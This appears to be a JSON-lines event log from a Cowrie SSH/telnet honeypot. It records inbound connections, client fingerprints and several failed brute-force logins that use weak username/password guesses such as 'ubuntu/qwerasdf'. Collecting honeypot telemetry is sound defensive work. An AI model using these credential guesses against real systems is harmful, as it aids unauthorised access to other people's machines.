{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:21.752902Z","src_ip":"92.118.39.23","session":"abdd6f64bb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:22.206480Z","src_ip":"92.118.39.23","session":"abdd6f64bb98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.115.237","src_port":42516,"dst_ip":"10.17.0.5","dst_port":22,"session":"01e5947c77cc","protocol":"ssh","message":"New connection: 14.103.115.237:42516 (10.17.0.5:22) [session: 01e5947c77cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:26.816311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:26.821588Z","src_ip":"14.103.115.237","session":"01e5947c77cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":57298,"dst_ip":"159.203.135.109","dst_port":23,"session":"05ebdb65ca72","protocol":"telnet","message":"New connection: 64.41.88.162:57298 (159.203.135.109:23) [session: 05ebdb65ca72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:26.855571Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:27.037119Z","src_ip":"14.103.115.237","session":"01e5947c77cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"q1w2e3r4","message":"login attempt [deploy/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:28.348096Z","src_ip":"14.103.115.237","session":"01e5947c77cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:29.569729Z","src_ip":"14.103.115.237","session":"01e5947c77cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":53868,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd5e25bbfaf9","protocol":"ssh","message":"New connection: 103.106.188.32:53868 (10.17.0.5:22) [session: cd5e25bbfaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:43.656356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:43.712132Z","src_ip":"103.106.188.32","session":"cd5e25bbfaf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:43.925408Z","src_ip":"103.106.188.32","session":"cd5e25bbfaf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:44.921356Z","src_ip":"103.106.188.32","session":"cd5e25bbfaf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:46.147311Z","src_ip":"103.106.188.32","session":"cd5e25bbfaf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":44476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0d484256469","protocol":"ssh","message":"New connection: 209.99.189.177:44476 (10.17.0.5:22) [session: a0d484256469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:50.810655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:50.815064Z","src_ip":"209.99.189.177","session":"a0d484256469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:50.946414Z","src_ip":"209.99.189.177","session":"a0d484256469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"chris","message":"login attempt [mysql/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:51.504339Z","src_ip":"209.99.189.177","session":"a0d484256469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63661,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0cd12e62ed7","protocol":"ssh","message":"New connection: 109.91.4.177:63661 (10.17.0.5:22) [session: e0cd12e62ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:51.729721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:51.734292Z","src_ip":"109.91.4.177","session":"e0cd12e62ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:51.852421Z","src_ip":"109.91.4.177","session":"e0cd12e62ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:52.639452Z","src_ip":"209.99.189.177","session":"a0d484256469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerasdf","message":"login attempt [ubuntu/qwerasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:52.760815Z","src_ip":"109.91.4.177","session":"e0cd12e62ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:02:53.884276Z","src_ip":"109.91.4.177","session":"e0cd12e62ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":57316,"dst_ip":"10.17.0.5","dst_port":22,"session":"5414820d3c79","protocol":"ssh","message":"New connection: 103.146.202.174:57316 (10.17.0.5:22) [session: 5414820d3c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:05.024431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:05.033029Z","src_ip":"103.146.202.174","session":"5414820d3c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:05.272675Z","src_ip":"103.146.202.174","session":"5414820d3c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertytest","message":"login attempt [test/qwertytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:06.266526Z","src_ip":"103.146.202.174","session":"5414820d3c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:07.509283Z","src_ip":"103.146.202.174","session":"5414820d3c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":33360,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd991ce44b5","protocol":"telnet","message":"New connection: 20.123.41.163:33360 (10.17.0.5:23) [session: 2fd991ce44b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:35.806495Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55126,"dst_ip":"159.203.135.109","dst_port":23,"session":"b30b7295a2ba","protocol":"telnet","message":"New connection: 174.138.46.234:55126 (159.203.135.109:23) [session: b30b7295a2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:36.557954Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55142,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7295ed6c5ba","protocol":"telnet","message":"New connection: 174.138.46.234:55142 (159.203.135.109:23) [session: b7295ed6c5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:37.662172Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":42172,"dst_ip":"10.17.0.5","dst_port":22,"session":"af8065d5a5eb","protocol":"ssh","message":"New connection: 103.106.188.32:42172 (10.17.0.5:22) [session: af8065d5a5eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:41.706591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:41.710785Z","src_ip":"103.106.188.32","session":"af8065d5a5eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:41.921904Z","src_ip":"103.106.188.32","session":"af8065d5a5eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.823819637298584,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:42.381670Z","src_ip":"174.138.46.234","session":"b30b7295a2ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.9505534172058105,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:42.612615Z","src_ip":"174.138.46.234","session":"b7295ed6c5ba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:43.029824Z","src_ip":"103.106.188.32","session":"af8065d5a5eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60622,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1b7794a3caf","protocol":"ssh","message":"New connection: 109.91.4.177:60622 (10.17.0.5:22) [session: b1b7794a3caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:43.350238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:43.354924Z","src_ip":"109.91.4.177","session":"b1b7794a3caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:43.471163Z","src_ip":"109.91.4.177","session":"b1b7794a3caf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu!@#123","message":"login attempt [ubuntu/ubuntu!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:43.970446Z","src_ip":"109.91.4.177","session":"b1b7794a3caf","protocol":"ssh"}
